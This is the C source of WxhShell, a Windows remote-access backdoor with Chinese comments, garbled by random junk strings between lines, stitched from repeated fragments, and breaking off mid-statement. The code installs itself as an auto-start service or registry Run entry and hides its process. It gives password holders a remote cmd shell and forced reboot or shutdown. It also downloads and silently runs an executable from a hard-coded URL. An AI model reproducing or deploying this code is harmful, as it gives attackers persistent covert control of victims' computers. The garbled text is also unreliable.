; PROCNTQSIP NtQueryInformationProcess; _'8P8T& J':X$>E| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r[?GO"ej5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $RH. _(zZrUHB HANDLE hProcess; YMN=1Zuj? PROCESS_BASIC_INFORMATION pbi; fj|b;8_}l uMx6: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?(Se$iTZ if(NULL == hInst ) return 0; OZc4 -5 }y%c. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J>l?HK g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |v:oLgUdH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )J*M{Gm 6i *b'4>U if (!NtQueryInformationProcess) return 0; C@`rg ILc <Y]e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "uli~ {IU if(!hProcess) return 0; 7s0\`eXo/ =cpUc]~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; },n? q9:g CloseHandle(hProcess); +GJPj(S =oBlUE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rD+mI/_J` if(hProcess==NULL) return 0; VV;%q3}: _ amP:h HMODULE hMod; beaSvhPU char procName[255]; =t^jlb unsigned long cbNeeded; O1D|T"@ rFUR9O.{E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cJMi`PQ; ?7>"ZGDe> CloseHandle(hProcess); Ptz##o'{5 FsO_|r if(strstr(procName,"services")) return 1; // 以服务启动 y8_$YA/g b)@D@K"5 return 0; // 注册表启动 ?3lAogB } ph}%Ay$ 2x>7>;> // 主模块 a^={X<K|/ int StartWxhshell(LPSTR lpCmdLine) MyZVx|7E { ~-<MoCm! SOCKET wsl; 2X<%BFsE BOOL val=TRUE; %x.du9 int port=0; ]1FLG*sB struct sockaddr_in door; TjDtNE 'W,*mfB if(wscfg.ws_autoins) Install(); IyI0|&r2A q{&\nCy port=atoi(lpCmdLine); PB
*v45 []v$QR&u#v if(port<=0) port=wscfg.ws_port; )s,LFIy<A Gx
%=&O WSADATA data; =z;]FauR! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RL:B.Lv/W O6/:J#X% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;yajt\a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oYdE s&qq door.sin_family = AF_INET; &?1O D5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lb)rloca door.sin_port = htons(port); 6DU~6c=)
tKS[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,-hbwd~M closesocket(wsl); n$`+03 a return 1; |p!($ } :hT.L3n, e!PB3I if(listen(wsl,2) == INVALID_SOCKET) { %ufh closesocket(wsl); "={* 0P return 1; ]J [d8S5 } S)g:+P Wxhshell(wsl); Fgi`g{N WSACleanup(); Pz34a@%" =[8K#PZ$w return 0; #|4G,! =\_gT=tZ } m%
3 D 7Q]c=i cg // 以NT服务方式启动 `LNhamp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 67hfv e { gROK4'j6y DWORD status = 0; 0^R, d M DWORD specificError = 0xfffffff; zz[fkH3 B2oKvgw serviceStatus.dwServiceType = SERVICE_WIN32; ~;?<OOt|wG serviceStatus.dwCurrentState = SERVICE_START_PENDING; tu Y+n2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; od{\z serviceStatus.dwWin32ExitCode = 0; 4d%0a%Z serviceStatus.dwServiceSpecificExitCode = 0; q\}+]|nGs serviceStatus.dwCheckPoint = 0; ,cL;,YN serviceStatus.dwWaitHint = 0; 5@%.wb4 4uzMO < hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =w}JAEE|(i if (hServiceStatusHandle==0) return; Cdib{y<ji ax>j3HKi status = GetLastError(); m3BL if (status!=NO_ERROR) 5L:-Xr{ { jQzl!f1c3 serviceStatus.dwCurrentState = SERVICE_STOPPED; Db<#gH serviceStatus.dwCheckPoint = 0; En1LGi4# serviceStatus.dwWaitHint = 0; u -P !2vT serviceStatus.dwWin32ExitCode = status; RYA@{.O serviceStatus.dwServiceSpecificExitCode = specificError; !b7"K| SetServiceStatus(hServiceStatusHandle, &serviceStatus); }dop]{RG return; EwX&Cj". } |dqHpogh y/y~<-|<@ serviceStatus.dwCurrentState = SERVICE_RUNNING; D/f4kkd serviceStatus.dwCheckPoint = 0; oWL_Hh%-f` serviceStatus.dwWaitHint = 0; u1L^INo/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }rI:pp^KS } p09p/ 'Gqv`rq& // 处理NT服务事件,比如:启动、停止 ;RJ
8h
x VOID WINAPI NTServiceHandler(DWORD fdwControl) ?*yyne { n
Syq}Y3 switch(fdwControl) {@vnKyf^K { ,bXZ<RY$ case SERVICE_CONTROL_STOP: C= V2Y_j serviceStatus.dwWin32ExitCode = 0; 1Vdi5;dn serviceStatus.dwCurrentState = SERVICE_STOPPED; y0sce serviceStatus.dwCheckPoint = 0; ,#UZp\zZ* serviceStatus.dwWaitHint = 0; \OA{&G. { VO8rd>b4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); jOVF+9M } cu($mjC@T return; xsB0LUt case SERVICE_CONTROL_PAUSE: vo`& serviceStatus.dwCurrentState = SERVICE_PAUSED; O`c50yY break; Hl0"
zS[ case SERVICE_CONTROL_CONTINUE: =K18| Q0m serviceStatus.dwCurrentState = SERVICE_RUNNING; E{&MmrlL, break; .a]#AFX case SERVICE_CONTROL_INTERROGATE: -1,0hmn=+ break; /V:9*C }; [K.1 X=O} SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q}|K29Y:p } 3y6\0|{1 8rH6L:]S // 标准应用程序主函数 8{!d'Pks int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /j$=?Rp { D<;~eZ' <;S$4tux // 获取操作系统版本 ![^pAEgx OsIsNt=GetOsVer(); YND }P9 h GetModuleFileName(NULL,ExeFile,MAX_PATH); )Q'E^[Ua g w([08 // 从命令行安装 A,9JbX if(strpbrk(lpCmdLine,"iI")) Install(); X}v*"`@Q 7Hr_ZwO/^ // 下载执行文件 C)z4Cn9# if(wscfg.ws_downexe) { "0PrdZMx if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W~'xJ WinExec(wscfg.ws_filenam,SW_HIDE); )"pvF8JR%3 } R~4X?@ZB Q!;syJBb. if(!OsIsNt) { 1j$\ 48Z // 如果时win9x,隐藏进程并且设置为注册表启动 O`9c!_lis HideProc(); gHLI>ew*QR StartWxhshell(lpCmdLine); JP5e=Z< } E(P
6s;LZ else FKTF?4+\U if(StartFromService()) ;"Kgg:K>W // 以服务方式启动 5,1<A@H StartServiceCtrlDispatcher(DispatchTable); z}ar$}T else cK+TE8ao // 普通方式启动 Y=P*
StartWxhshell(lpCmdLine); +gX,r$bX L'e^D| return 0; W5
F\e[Ax5 } e{5?+6KH _-TplGSO=c yV!4Im.> Cy]=Y =========================================== HeAXZA, Io]FDPN V.P<>~W TlS? S+ ma~#E$i& \b"rf697, " E$)| Kv^ WR)=VE #include <stdio.h> ^)Hf% #include <string.h> &J6`Q<U! #include <windows.h> N&NBn( #include <winsock2.h> }`B
.(3n #include <winsvc.h> _]`7et\= #include <urlmon.h> @.e X8~3= >ou=}/< #pragma comment (lib, "Ws2_32.lib") ?{S>%P A_B #pragma comment (lib, "urlmon.lib") .>B'oD <:v+<)K #define MAX_USER 100 // 最大客户端连接数 8%7%[WC# #define BUF_SOCK 200 // sock buffer &:&89<C' #define KEY_BUFF 255 // 输入 buffer ?bB>}:~j) *p}mn#ru- #define REBOOT 0 // 重启 gF{ehU% #define SHUTDOWN 1 // 关机 ^3$l!>me qH}8TC #define DEF_PORT 5000 // 监听端口 lGd'_~'= xm{]|~^JG #define REG_LEN 16 // 注册表键长度 OyZR&,q #define SVC_LEN 80 // NT服务名长度 JN0h3nZ_ +
Q-b} // 从dll定义API ~=|}!A( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N)X Tmh2v| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '47
b"uV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hC<ROD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !DZ=`a?y UX)GA[WI // wxhshell配置信息 _Je4&KU struct WSCFG { }%_|k^t int ws_port; // 监听端口 o+a= char ws_passstr[REG_LEN]; // 口令 ~rb0G*R> int ws_autoins; // 安装标记, 1=yes 0=no P8d char ws_regname[REG_LEN]; // 注册表键名 ?F"o+]i+^ char ws_svcname[REG_LEN]; // 服务名 G(&[1V % x char ws_svcdisp[SVC_LEN]; // 服务显示名 ,9P-<P char ws_svcdesc[SVC_LEN]; // 服务描述信息 U**8^:*y#: char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "6f`hy int ws_downexe; // 下载执行标记, 1=yes 0=no /f3/}x!po char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {@InOo!4w] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KZppQ0 ?"x4u#x }; (9]Uuvfp6" d &#_t@% // default Wxhshell configuration u&:N`f struct WSCFG wscfg={DEF_PORT, cc[(w
#K "xuhuanlingzhe", b>07t!; 1, {[H_Vl@ "Wxhshell", YN8x|DLi? "Wxhshell", I=0c\ U} "WxhShell Service", 8Qg10Yjy "Wrsky Windows CmdShell Service", ]cp b;UfM "Please Input Your Password: ", X0.H(p#s 1, / Q1*Vh4 "http://www.wrsky.com/wxhshell.exe", 5)#j }`6 "Wxhshell.exe" %B%_[<B }; LZykc
c9g uH[WlZ4 // 消息定义模块 aCG rS{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +4?Lwp'q char *msg_ws_prompt="\n\r? for help\n\r#>"; PIri|ZS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C >*z^6Gz char *msg_ws_ext="\n\rExit."; `OfhzOp char *msg_ws_end="\n\rQuit."; NL9.J@"b char *msg_ws_boot="\n\rReboot..."; ?v2_7x& char *msg_ws_poff="\n\rShutdown..."; C]ss' char *msg_ws_down="\n\rSave to "; gu
k,GF9p] 5|H;%T3_ char *msg_ws_err="\n\rErr!"; ,!:c6F+ char *msg_ws_ok="\n\rOK!";
UleT9 [M $BwWQ?lp char ExeFile[MAX_PATH]; hi8q?4jE int nUser = 0; 4Q|>k)H HANDLE handles[MAX_USER]; <o(;~ int OsIsNt; t#NPbLZ FZ-Wgh
0z SERVICE_STATUS serviceStatus; ]v
${k SERVICE_STATUS_HANDLE hServiceStatusHandle; A({czHLhN5 xs"i_se // 函数声明 h"`\'(,X int Install(void); YkKu4f int Uninstall(void);
'LYDJ~ int DownloadFile(char *sURL, SOCKET wsh); 2/?Zp=|j\ int Boot(int flag); C[^VM$ void HideProc(void); 7<j!qWm0 int GetOsVer(void); #HcQ*BiF3 int Wxhshell(SOCKET wsl); ,P~e)<. void TalkWithClient(void *cs); J}V4.R5d int CmdShell(SOCKET sock); aq?bI:>8 int StartFromService(void); 9)!Ksg(h int StartWxhshell(LPSTR lpCmdLine); AwJg/VBo) xQFRM aQE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Id=20og VOID WINAPI NTServiceHandler( DWORD fdwControl ); iJTG+gx
4E''pW]8 // 数据结构和表定义 .eJKIck SERVICE_TABLE_ENTRY DispatchTable[] = Vl5r~+$| { Igo`\JY {wscfg.ws_svcname, NTServiceMain}, 5U?O1}P {NULL, NULL} .O-)m'5 }; 5Q10Ohh ZX_QnSNZ? // 自我安装 mIlg=8: int Install(void) 3p#UEH3 { LK h=jB^bT char svExeFile[MAX_PATH]; ktU:Uq HKEY key; ) 57'< strcpy(svExeFile,ExeFile); [MeivrJ+ t#(NfzN // 如果是win9x系统,修改注册表设为自启动 st w@@GQ if(!OsIsNt) { 01n!T2;yW} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D^r g-E[L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Nn >*sz RegCloseKey(key); >@N.jw>#T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1]}\h]* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]5'*^rz ^ RegCloseKey(key); _c]}m3/ return 0; ]TrJ*~ } 30h[&Oc } +k=*AQt^8 } 8r(Vz else { lO@-*m$
Vz mlKVE // 如果是NT以上系统,安装为系统服务 ]yOM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2^XmtT if (schSCManager!=0) u$w.'lK { @5Z|e SC_HANDLE schService = CreateService kHK<~srB ( $
DN. schSCManager, U`*we43 wscfg.ws_svcname, _kD5pC = wscfg.ws_svcdisp, }-[l)<F: SERVICE_ALL_ACCESS, X"Eqhl<t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SrA6}kS SERVICE_AUTO_START, as:=QMV SERVICE_ERROR_NORMAL, XU'(^Y8Imz svExeFile, ~vF*&^4Vh NULL, O!Ue0\1Kj0 NULL, ],c0nz^%BR NULL, Kj0)/Fjl+ NULL, % 3#g- NULL C?. ;3 h ); =o@}~G&HA if (schService!=0) rbf5~sw&8+ { mpYBMSLM CloseServiceHandle(schService); !KV!Tkx h CloseServiceHandle(schSCManager); " lD -*e4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zZ}.2He8 strcat(svExeFile,wscfg.ws_svcname); Wi$?k{C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )F9IzR-&m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qe~C}j% RegCloseKey(key); #|\|G3Si
% return 0; WGV]O| } 0+0Y$;< } wW TuEM CloseServiceHandle(schSCManager); X}B]5 } &Zz&VwWR } 8h
ol4'B 0,0WdJAe return 1; y1`%3\ } `y'%dY}$n 3B#fnj // 自我卸载 9Zx| L/\ int Uninstall(void) %YxKWZ/? { bP:u`!p
-i HKEY key; q4:zr
"4XjABJ4' if(!OsIsNt) { !@V]H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K%9!1' RegDeleteValue(key,wscfg.ws_regname); =YM RegCloseKey(key); ,>6mc=p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UXSwd#I& RegDeleteValue(key,wscfg.ws_regname); T c-fO
/0 RegCloseKey(key); kU:Q&[/jzH return 0; jhT/}"v } DI{Qs[ } #~Kno@ } j\#)'>" else { C4E* q3[Y D[T\_3W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L{sFR^-G if (schSCManager!=0) HmXxM:[4; { 89[/UxM) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8f,",NCgc if (schService!=0) yJx,4be { %5ov!nm7 if(DeleteService(schService)!=0) { } %3;j5 ;6 CloseServiceHandle(schService); w_@6!zm CloseServiceHandle(schSCManager); :4:U\k;QwA return 0; 6hcs)X7m } #E4oq9{0*W CloseServiceHandle(schService); Z'AjeZyyE } "<oR.f=0 CloseServiceHandle(schSCManager); wKW.sZ!S1 } P EzT|uY } UXa%$gwFw B_!S\?}$ return 1; Xk^<}Ep)c } "97sH_
, BAqwYWdS // 从指定url下载文件 R]Fa?uQW
int DownloadFile(char *sURL, SOCKET wsh) QIwO _[Q { USE! HRESULT hr; GWx?RIKF char seps[]= "/"; eT F s9$ char *token; H1evW char *file; p3%cb?G%w char myURL[MAX_PATH]; g6q[
I8 char myFILE[MAX_PATH]; j1JdG<n \KEmfCx'n strcpy(myURL,sURL); 2%l(qfN9 token=strtok(myURL,seps); p,4S?cr>a while(token!=NULL) CyS.GdyP { AfW:'>2 file=token; 'mU\X!-
4< token=strtok(NULL,seps); =+e;BYD#! } "t{D5{q|[k V" 5rIk GetCurrentDirectory(MAX_PATH,myFILE); 2 $Z4 >! strcat(myFILE, "\\"); ZB}zT9JaE strcat(myFILE, file); (Q"s;g send(wsh,myFILE,strlen(myFILE),0); 3qfQlqJ&3 send(wsh,"...",3,0); 7n#Mh-vq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ipiS= if(hr==S_OK) i .?l\ return 0; J<L"D/ else uN&49o return 1; `)jAdad-s l)Cg?9 } gC@=]Y 1
RyvPP // 系统电源模块 o`jV d,aj int Boot(int flag) n%dh|j2u { (.M &nN'Ce HANDLE hToken; gA+@p'XnR TOKEN_PRIVILEGES tkp; :JxuaM8 5X`m.lhUc if(OsIsNt) { cTJG1'm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (
Qk*B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c}7Rt|`c tkp.PrivilegeCount = 1; r-}C !aF] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }8'bXG+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i/DUB<>p6 if(flag==REBOOT) { }5gQ dj[Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CIt@xi#I return 0; p6{8t} } jivGkIj!8 else { O~bzTn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M-f; ,> return 0; x8rp Z } }!vJ+ } mVyF M -` else { _`]YWvh if(flag==REBOOT) { 5
.bU2C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _K>YB>W}7 return 0; \g;-q9g;O } [M.!7+$o else { _%aJ/Y0Cy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P_c9v/ return 0; .ktyA+r8v } SnW>` } z`@|v~i0` `oH6'+fT`; return 1; &FzZpH } :'gX//b): ytGcigw(P // win9x进程隐藏模块 ,dk!hm u void HideProc(void) xCiq;FFR { [lAZ)6E~= 4}HY= 0Um HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >uDE<MUC if ( hKernel != NULL ) .37Jrh0Iv { zC\L-i>G pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !.5,RIf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4T:@W C FreeLibrary(hKernel); e/!xyd } eN]9=Y~-K w'D=K_h return; dX~$#-Ad86 } p# (5
; nJo6;_MI! // 获取操作系统版本 Ut^ {4_EC int GetOsVer(void) _QOZ`st { t2q{;d~. OSVERSIONINFO winfo; Dj@7vM%_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t=(CCq_N, GetVersionEx(&winfo); f+W %X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {`1gDKH return 1; +/~;y{G..z else ]PjJy/vkjj return 0; b$1W> } OAZ5I)D> >FM2T<.; // 客户端句柄模块 ;V\l,
u int Wxhshell(SOCKET wsl) a{7'qmN1 { V17SJSC- SOCKET wsh; $4&e{fLt|v struct sockaddr_in client; s:\FlQ0 DWORD myID; 6w:M_tDM
5QUL-*t while(nUser<MAX_USER) x\R
8W8M { m'.y,@^B int nSize=sizeof(client); rOd~sa-H wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +>S\.h
s4 if(wsh==INVALID_SOCKET) return 1; g
O ;oM?| LL^WeD_Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .a`(?pPr, if(handles[nUser]==0) aqzIMOAf closesocket(wsh); u'+;/8 else 6#/v:;bF nUser++; f+Ht } E;AOCbV*$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R<n'v.~"A xF8^#J6> return 0; 0'0GAh2 } I7q}<"` tjTnFP/= // 关闭 socket i@p0Jnh| void CloseIt(SOCKET wsh) Dm0Ts~ { +:?"P<' closesocket(wsh); }grel5lq nUser--; )4BLm ExitThread(0); VwrHD$ } V*w~Sr% ;XXB^, // 客户端请求句柄 of k@.TmO void TalkWithClient(void *cs) R9`37(c9+ { CDU$Gi %qqX-SF0C SOCKET wsh=(SOCKET)cs; .~t.B!rVSB char pwd[SVC_LEN]; 2Ub!wee char cmd[KEY_BUFF]; ,4tuWO)" char chr[1]; (Ld,<!eN0 int i,j; 0<C]9[l &@h(6 while (nUser < MAX_USER) { V*1hoC# aBonq]W if(wscfg.ws_passstr) { .>Fy ]Cqoh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r0fxEYze& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~SN * //ZeroMemory(pwd,KEY_BUFF); 85GU~. i=0; C=>IJ'G while(i<SVC_LEN) { [uD G;We= :sL?jGk\ // 设置超时 [Y_CRxa\u fd_set FdRead; hiQ #< struct timeval TimeOut; L6=`x a, FD_ZERO(&FdRead); lOuO~`,J FD_SET(wsh,&FdRead); U+FI^Xrt# TimeOut.tv_sec=8; _8I\! TimeOut.tv_usec=0; M4`.[P4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +#V.6i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r?j2%M\ g ONybz6] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6z keWR pwd=chr[0]; |`,AAa if(chr[0]==0xd || chr[0]==0xa) { -.=:@H}r pwd=0; E6zSMl5b break; ?6T\uzL +% } g#/"3P2H i++; rCp'O\@S } ]5Mq^@mD' F2:nL`]b[ // 如果是非法用户,关闭 socket g<(\# F}/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JRYCM}C] } Yfd0Np~ #Li6RSeW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M!)~h<YL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -b`O"Ck* d,d ohi while(1) { zD,K_HicI o;5 ns ZeroMemory(cmd,KEY_BUFF); #<*=) [ wFX>y^ 1 // 自动支持客户端 telnet标准 mx3p/p j=0; ZD;1{ while(j<KEY_BUFF) { x@*!MC# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?)V?6"fFP cmd[j]=chr[0]; ;xxu , if(chr[0]==0xa || chr[0]==0xd) { D(&XmC[\Y cmd[j]=0; rctGa ,l break; :.bBV]6q } tR`^c8gD j++; F9PXQD( } .:/[%q{k dlJc~| // 下载文件 G~nQR
qv if(strstr(cmd,"http://")) { !<#,M9
EA& send(wsh,msg_ws_down,strlen(msg_ws_down),0); VSLi{=# if(DownloadFile(cmd,wsh)) k|D =Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,|G~PC8 else >o,l/#z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 ` ={** } Lh
rU fy
else { }LTy Xo T7qE
2 switch(cmd[0]) { O'[r,|Q{ ;*[oi // 帮助 *aaK_=w case '?': { &r0U9J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M>g%wg7Ah break; i8|0zI } bTep TWv // 安装 .6HHUy case 'i': { $3)Z>p if(Install()) e.VR9O]G send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ztgirU else _Qd CV` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Fy})/F3v break; E@[ZwTnJ } wGhy"1g# // 卸载 EaN1xb(DYa case 'r': { ag{cm'. if(Uninstall()) caD)'FSES send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.i_?a else @aY>pr5! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HyGu3 break; A(6n- zL } Pe?=M[u2 // 显示 wxhshell 所在路径 fb|%)A= case 'p': { /0z#0gNp char svExeFile[MAX_PATH]; y*H rv strcpy(svExeFile,"\n\r"); HVH <S strcat(svExeFile,ExeFile); 7v]9) W=y send(wsh,svExeFile,strlen(svExeFile),0); 8d1r#sILI break; ,
G9{: } >eM>Y@8= // 重启 N.F//n case 'b': { ]o2 jS D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5-2#H?:U if(Boot(REBOOT)) MN<uIqG send(wsh,msg_ws_err,strlen(msg_ws_err),0); @5tGI U;1 else { WWjc.A$ closesocket(wsh); v\3$$T) ExitThread(0); (,^jgv|I }
`BzjDI:a break; _;'<}a } [5i}C
K_= // 关机 Q/]t$ case 'd': { MHPh! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fVo7wp if(Boot(SHUTDOWN)) bvF-F$n%F send(wsh,msg_ws_err,strlen(msg_ws_err),0); u#)ARCx ,w else { .!Q*VTW closesocket(wsh); AR3v,eOs ExitThread(0); w42=tN+B } wq:"/2p1 break; [
~:wS@% } jUGk=/*]e // 获取shell =O??W8u case 's': { vM?jm!nd CmdShell(wsh); "1z#6vw5a closesocket(wsh); lQKq{WLFx. ExitThread(0); WY$c^av< break; vocWV/ } i{biQ|,.sL // 退出 9CPr/q9' case 'x': { 4Qj@:b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <~}NxY\5 CloseIt(wsh); t7 +U! break; H6Q!~o\"H } K+3+?oYKH // 离开 }e]tn) case 'q': { |32uC3?o send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2g
HRfTF closesocket(wsh); -(JBgM" WSACleanup(); g27)$0&0 exit(1); RYZM_@5$t break; s_
%LU:WC } a_(T9pr } iyTKy+3A } 'cPE7uNT !EOYqD // 提示信息 JmF:8Q3H if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
]/[$3rPwZ } wo5fGQJ } *('Vyd!n P2g}G4qf return; CZDWEM} } b^R_8x =4#p|OZP // shell模块句柄 l5FKw;=K}: int CmdShell(SOCKET sock) IiM=Z=2 { 3XcFBFE STARTUPINFO si; &~V6g(9 ZeroMemory(&si,sizeof(si)); MuF{STE>-> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X86r`} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZZrvl4h PROCESS_INFORMATION ProcessInfo; ~S~4pK char cmdline[]="cmd"; h
;1D T CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _g%,/y 9y return 0; v~:'t\n } j2s{rQQ <2t%<<% // 自身启动模式 \pVNJy$`< int StartFromService(void) f0 "_ {\ { K;*B$2Z#k typedef struct
[7Liken { go?}M]c%7 DWORD ExitStatus; NeR1}W DWORD PebBaseAddress; "L+NN| DWORD AffinityMask; J[al4e^ DWORD BasePriority; #L+ZHs~ ULONG UniqueProcessId; _rz7)%Y'#$ ULONG InheritedFromUniqueProcessId; Odr<fvV,> } PROCESS_BASIC_INFORMATION; 8+Abw)]s 46D_K PROCNTQSIP NtQueryInformationProcess; =)f5JwZPG #Q/xQ`+|. static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7Cx-yv t/J|<Ooj? HANDLE hProcess; O{Y*a )" PROCESS_BASIC_INFORMATION pbi; o#hFK'&~ >0S(se$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Le2rc*T if(NULL == hInst ) return 0; G2w0r,[ -u~AY#* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n!h952" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d,E2l~s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C4K"eX,K V-ONC if (!NtQueryInformationProcess) return 0; ;^ff35EE8 s&M#]8x;x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r#(*x 2~, if(!hProcess) return 0; 4[rX\?^e Lklb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AQD`cG +pxtar CloseHandle(hProcess); x.>&|Ej UV\&9>@L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | 